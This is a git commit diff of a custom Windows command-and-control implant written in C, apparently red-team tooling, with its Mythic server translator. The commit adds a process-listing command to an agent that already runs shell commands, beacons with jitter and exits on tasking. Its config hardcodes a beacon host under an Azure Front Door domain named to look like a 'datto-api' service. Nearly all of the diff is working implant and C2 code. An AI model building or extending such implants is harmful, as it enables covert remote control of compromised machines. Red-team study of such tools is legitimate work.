v0.5 ps y mejoras

This commit is contained in:
marcos.luna
2025-04-07 10:49:56 +00:00
parent fba98e461a
commit fcd2251761
48 changed files with 2499 additions and 2093 deletions
@@ -1,13 +1,13 @@
#pragma once
#define initUUID "%UUID%"
#define hostname L"%HOSTNAME%"
#define endpoint L"%ENDPOINT%"
#define ssl %SSL%
#define proxyenabled %PROXYENABLED%
#define proxyurl L"%PROXYURL%"
#define initUUID "41c8ef02-b046-4664-97f4-93bfb20335b4"
#define hostname L"datto-api-hyfmh8fhgkhwg6f6.a01.azurefd.net"
#define endpoint L"data"
#define ssl TRUE
#define proxyenabled FALSE
#define proxyurl L""
#define useragent L"%USERAGENT%"
#define useragent L""
#define httpmethod L"POST"
#define port %PORT%
#define port 443
#define sleep_time %SLEEPTIME%
#define sleep_time 10
@@ -11,6 +11,8 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
for (UINT32 i = 0; i < numeroTareas; i++) {
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
BYTE tarea = getByte(obtenerTarea);
_dbg("[DEBUG] Tarea recibida: %x (Hex) | %d (Dec)", tarea, tarea);
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
@@ -22,8 +24,9 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
cerrarCallback(analizadorTarea);
}else if(tarea == SLEEP_CMD){
sleep(analizadorTarea);
}else if(tarea == PROCESS_CMD){
listarProcesos(analizadorTarea);
}
}
return TRUE;
}
@@ -8,6 +8,7 @@
#include "consola.h"
#include "cerrarCallback.h"
#include "sleep.h"
#include "procesos.h"
#define SHELL_CMD 0x54
#define GET_TASKING 0x00
@@ -18,7 +19,7 @@
#define EXIT_CMD 0x80
#define SLEEP_CMD 0x38
#define PROCESS_CMD 0x15
BOOL parseChecking(PAnalizador respuestaAnalizador);
BOOL rutina();
@@ -0,0 +1,29 @@
#include "identity.h"
BOOL IdentityGetUserInfo(_In_ HANDLE hToken, _Out_ char* buffer, _In_ int tamano) {
TOKEN_USER informacionToken[0x1000];
SID_NAME_USE tipoSid;
DWORD tamanoRespuesta;
if (!GetTokenInformation(hToken, TokenUser, informacionToken, sizeof(informacionToken), &tamanoRespuesta)) {
return FALSE;
}
CHAR nombre[0x200] = { 0 };
CHAR dominio[0x200] = { 0 };
DWORD tamanoNombre = sizeof(nombre);
DWORD tamanoDominio = sizeof(dominio);
if (!LookupAccountSidA(NULL, informacionToken->User.Sid, nombre, &tamanoNombre, dominio, &tamanoDominio, &tipoSid)) {
return FALSE;
}
sprintf_s(buffer, tamano, "%s\\%s", dominio, nombre);
buffer[tamano - 1] = 0;
return TRUE;
}
@@ -0,0 +1,22 @@
#pragma once
#ifndef IDENTITY_H
#define IDENTITY_H
#include <windows.h>
extern HANDLE gTokenIdentidad;
extern BOOL gIdentidadIsLoggin;
extern WCHAR* gDominioIdentidad;
// extern WCHAR* gIdentityUsername;
// extern WCHAR* gIdentityPassword;
#define IDENTITY_MAX_WCHARS_DOMAIN 256
#define IDENTITY_MAX_WCHARS_USERNAME 256
#define IDENTITY_MAX_WCHARS_PASSWORD 512
//VOID IdentityImpersonateToken(void);
//VOID IdentityAgentRevertToken(void);
BOOL IdentityGetUserInfo(HANDLE hToken, char* buffer, int size);
//BOOL IdentityIsAdmin(void);
#endif //IDENTITY_H
@@ -32,7 +32,6 @@ VOID liberarPaquete(PPaquete paquete) {
PAnalizador mandarPaquete(PPaquete paquete) {
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length);
SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length);
@@ -120,3 +119,34 @@ BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) {
}
return TRUE;
}
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...)
{
va_list args;
va_start(args, fmt);
// Determine how much space is needed for the formatted string
int requiredLength = vsnprintf(NULL, 0, fmt, args) + 1; // +1 for null terminator
va_end(args);
// Allocate a temporary buffer for the formatted string
char* tempBuffer = (char*)malloc(requiredLength);
if (tempBuffer == NULL)
{
return FALSE; // Memory allocation failed
}
va_start(args, fmt);
vsnprintf(tempBuffer, requiredLength, fmt, args);
va_end(args);
// Use addString to add the formatted string to the package
if (!addString(package, tempBuffer, copySize))
return FALSE;
// Free the temporary buffer
free(tempBuffer);
return TRUE;
}
@@ -0,0 +1,111 @@
#undef UNICODE
#include "procesos.h"
#include "paquete.h"
#include "analizador.h"
#include "identity.h"
#include "spawn.h"
#include <tlhelp32.h>
BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano) {
HANDLE hToken;
BOOL result = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
if (!result) {
return FALSE;
}
result = IdentityGetUserInfo(hToken, nombreCuenta, tamano);
if (!result) {
return FALSE;
}
CloseHandle(hToken);
return result;
}
VOID listarProcesos(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
UINT32 nbArg = getInt32(argumentos);
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
char nombreCuenta[2048] = { 0 };
PPaquete salida = nuevoPaquete(0, FALSE); // Paquete temporal
char* arch;
arch = IsWow64ProcessEx(GetCurrentProcess()) ? "x86" : "x64";
HANDLE toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (toolhelp == INVALID_HANDLE_VALUE) {
goto cleanup;
}
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
if (Process32First(toolhelp, &pe)) {
do {
HANDLE hProcess = OpenProcess(SelfIsWindowsVistaOrLater() ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
DWORD sid = -1;
if (hProcess) {
if (!obtenerNombreDelToken(hProcess, nombreCuenta, sizeof(nombreCuenta))) {
nombreCuenta[0] = '\0';
}
if (!ProcessIdToSessionId(pe.th32ProcessID, &sid)) {
sid = -1;
}
BOOL isWow64 = IsWow64ProcessEx(hProcess);
PackageAddFormatPrintf(salida,
FALSE,
"%s\t%d\t%d\t%s\t%s\t%d\n",
pe.szExeFile,
pe.th32ParentProcessID,
pe.th32ProcessID,
isWow64 ? "x86" : arch,
nombreCuenta,
sid);
}
else {
PackageAddFormatPrintf(salida,
FALSE,
"%s\t%d\t%d\n",
pe.szExeFile,
pe.th32ParentProcessID,
pe.th32ProcessID);
}
CloseHandle(hProcess);
} while (Process32Next(toolhelp, &pe));
}
else {
DWORD error = GetLastError();
PPaquete errorPaquete = nuevoPaquete(POST_RESPONSE, TRUE);
addString(errorPaquete, tareaUuid, FALSE);
addInt32(errorPaquete, error);
mandarPaquete(errorPaquete);
liberarPaquete(errorPaquete);
goto cleanup;
}
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE);
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
if (!respuestaAnalizador) {
_err("[-] Error al mandar paquete\n");
}
liberarPaquete(respuestaTarea);
cleanup:
if (toolhelp) {
CloseHandle(toolhelp);
}
liberarPaquete(salida);
}
@@ -0,0 +1,10 @@
#pragma once
#ifndef PROCESOS_H
#define PROCESOS_H
#include <windows.h>
#include "analizador.h"
VOID listarProcesos(PAnalizador argumentos);
#endif
@@ -17,9 +17,9 @@ BOOL sleep(PAnalizador argumentos) {
const int minVarianza = 1;
const int rangoVarianza = maxVarianza / 2;
int aleatorio = aleatorioInt32(0, rangoVarianza);
int Rand = aleatorioInt32(0, rangoVarianza);
tiempoSleep += aleatorio;
tiempoSleep += Rand;
if (tiempoSleep < minVarianza) {
@@ -32,7 +32,7 @@ BOOL sleep(PAnalizador argumentos) {
return FALSE;
}
printf("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
_dbg("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
tiempoSleep = tiempoSleep * 1000;
cazallaConfig->tiempoSleep = tiempoSleep;
@@ -0,0 +1,40 @@
#include "spawn.h"
#include "analizador.h"
#include <versionhelpers.h>
#pragma warning(disable: 4996)
#define ProcessWow64Information 26
int osMajorVersion;
BOOL SelfIsWindowsVistaOrLater() {
return IsWindowsVistaOrGreater();
}
typedef WINBASEAPI BOOL(WINAPI* FN_KERNEL32_ISWOW64PROCESS)(_In_ HANDLE hProcess, _Out_ PBOOL Wow64Process);
BOOL IsWow64ProcessEx(HANDLE hProcess) {
HMODULE hModule = GetModuleHandleA("kernel32");
FN_KERNEL32_ISWOW64PROCESS _IsWow64Process = (FN_KERNEL32_ISWOW64PROCESS)GetProcAddress(hModule, "IsWow64Process");
if (_IsWow64Process == NULL)
{
_err("kernel32$IsWow64Process: IsWow64Process is NULL");
return FALSE;
}
BOOL bStatus = FALSE;
BOOL Wow64Process = FALSE;
// bStatus = _IsWow64Process(hProcess, &Wow64Process);
bStatus = _IsWow64Process(hProcess, &Wow64Process);
if (!bStatus)
{
_err("_IsWow64Process failed with status code : %d", GetLastError());
return FALSE;
}
return Wow64Process; // TODO bug ! - returns 0 (x86) for current process?
}
@@ -0,0 +1,23 @@
#pragma once
#ifndef NATIVE_H
#define NATIVE_H
#include <windows.h>
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
HANDLE ProcessHandle,
ULONG ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
BOOL IsWow64ProcessEx(HANDLE hProcess);
extern int osMajorVersion;
#endif
@@ -89,12 +89,12 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
do {
dwTamano = 1024;
if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
printf("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError());
_err("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError());
return NULL;
}
if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
printf("[HTTP] Error %u en WinHttpReadData.\n", GetLastError());
_err("[HTTP] Error %u en WinHttpReadData.\n", GetLastError());
return NULL;
}
@@ -121,7 +121,6 @@ int b64IsValidChar(char c) {
return 0;
}
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
SIZE_T len;
@@ -162,7 +161,6 @@ int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
return 1;
}
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
(buffer)[0] = (value >> 24) & 0xFF;
@@ -0,0 +1,44 @@
from mythic_container.MythicCommandBase import *
import json
class PsArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
if len(self.command_line) > 0:
raise Exception("ps no debe lanzarse con parametros")
class PsCommand(CommandBase):
cmd = "ps"
needs_admin = False
help_cmd = "ps"
description = "Lista los procesos del host."
version = 1
supported_ui_features = ["process_browser:list"]
author = "Kaseya OFSTeam"
argument_class = PsArguments
browser_script = BrowserScript(
script_name="ps", author="Kaseya OFSTeam", for_new_ui=True
)
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=True
)
attackmapping = []
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,71 @@
function(task, responses) {
console.log(task)
console.log("-------------------------------------------------------------------------------------------------------")
console.log(responses)
if (task.status.includes("error")) {
const combined = responses.reduce((prev, cur) => prev + cur, "");
return { 'plaintext': combined };
} else if (responses.length > 0) {
// Combine and split the responses into lines
const output = responses.reduce((prev, cur) => prev + cur, "").split("\n").filter(line => line.trim() !== "");
if (output.length === 0) {
return { 'plaintext': "No process information found." };
}
// Prepare the table structure
const formattedResponse = {
headers: [
{ plaintext: "Process Name", type: "string", fillWidth: true },
{ plaintext: "PPID", type: "number", width: 80 },
{ plaintext: "PID", type: "number", width: 80 },
{ plaintext: "Architecture", type: "string", width: 80 },
{ plaintext: "User Account", type: "string", fillWidth: true },
{ plaintext: "Session ID", type: "number", width: 80 }
],
title: "Process List",
rows: []
};
// Process each line to populate rows
output.forEach(line => {
const parts = line.split("\t");
// Ensure the array has up to 6 elements, filling missing parts with empty strings
while (parts.length < 6) {
parts.push("");
}
const [processName, ppid, pid, architecture, userAccount, sessionId] = parts;
// Add the row, ensuring missing fields are shown as empty cells
formattedResponse.rows.push({
"Process Name": {
plaintext: processName || "",
cellStyle: {}
},
"PPID": {
plaintext: ppid || "",
cellStyle: {}
},
"PID": {
plaintext: pid || "",
cellStyle: {}
},
"Architecture": {
plaintext: architecture || "",
cellStyle: {}
},
"User Account": {
plaintext: userAccount || "",
cellStyle: {}
},
"Session ID": {
plaintext: sessionId || "",
cellStyle: {}
}
});
});
return { table: [formattedResponse] };
} else {
return { 'plaintext': "No response yet from agent..." };
}
}
@@ -1,16 +1,15 @@
import json
commands = {
"get_tasking": {"hex_code": 0x00, "input_type": None},
"checkin": {"hex_code": 0xf1, "input_type": None},
"post_response": {"hex_code": 0x01, "input_type": None},
"shell": {"hex_code": 0x54, "input_type": "string"},
"exit": {"hex_code": 0x08, "input_type":None},
"sleep": {"hex_code":0x38, "input_type":"int"}
"exit": {"hex_code": 0x80, "input_type": None},
"sleep": {"hex_code": 0x38, "input_type": "int"},
"ps": {"hex_code": 0x15, "input_type": None}
}
def responseTasking(tasks):
data = b""
dataTask = b""
@@ -19,11 +18,22 @@ def responseTasking(tasks):
for task in tasks:
command_to_run = task["command"]
command_code = commands[command_to_run]["hex_code"].to_bytes(1, "big")
if commands[command_to_run]["input_type"] == "string":
data = commands[command_to_run]["hex_code"].to_bytes(1, "big")
data += task["id"].encode()
task_id = task["id"].encode()
task_id_bytes = task["id"].encode()
task_id_serialized = len(task_id_bytes).to_bytes(4, "big") + task_id_bytes
if commands[command_to_run]["input_type"] is None: # Comandos sin parámetros como "ps"
data = command_code + task_id_serialized
task_size = len(data)
dataTask += task_size.to_bytes(4, "big") + data
print("input_type: None")
print(dataTask)
elif commands[command_to_run]["input_type"] == "string":
data = command_code + task_id
if task["parameters"] != "":
parameters = json.loads(task["parameters"])
data += len(parameters).to_bytes(4,"big")
@@ -36,9 +46,7 @@ def responseTasking(tasks):
dataTask += len(data).to_bytes(4, "big") + data
elif commands[command_to_run]["input_type"] == "int":
data = commands[command_to_run]["hex_code"].to_bytes(1, "big")
data += task["id"].encode()
data = command_code + task_id
if task["parameters"] != "":
parameters = json.loads(task["parameters"])
data += len(parameters).to_bytes(4, "big")
@@ -49,7 +57,8 @@ def responseTasking(tasks):
dataTask += len(data).to_bytes(4, "big") + data
dataToSend = dataHead + dataTask
print("estamos en el dataToSend\n")
print(dataToSend)
return dataToSend
@@ -64,5 +73,4 @@ def responsePosting(responses):
data += b"\x01"
else:
data += b"\x00"
return data
@@ -1,5 +1,6 @@
from translator.utils import *
import ipaddress
import json
def checkIn(data):
@@ -75,15 +76,25 @@ def getTasking(data):
def postResponse(data):
print("Tamaño del Base64 recibido: {len(data)} bytes")
resTaks = []
uuidTask = data[:36]
data = data[36:]
output, data = getBytesWithSize(data)
print("Tamaño después de extraer UUID: {len(data)} bytes")
try:
decoded_output = output.decode('cp850')
except Exception as e:
print("Fallo al decodificar la salida: {e}")
decoded_output = "[ERROR DECODIFICANDO]"
jsonTask = {
"task_id": uuidTask.decode('cp850'),
"user_output":output.decode('cp850'),
"user_output": decoded_output,
}
jsonTask["completed"] = True
@@ -93,4 +104,9 @@ def postResponse(data):
"action": "post_response",
"responses": resTaks
}
print("Respuesta generada: {json.dumps(dataJson, indent=4)}")
return dataJson
##FALLA ESTA MIERDA, PORQUE PARECE QUE LO QUE SE ENVIA ES CORRECTO, HAY QUE REVISAR ESTO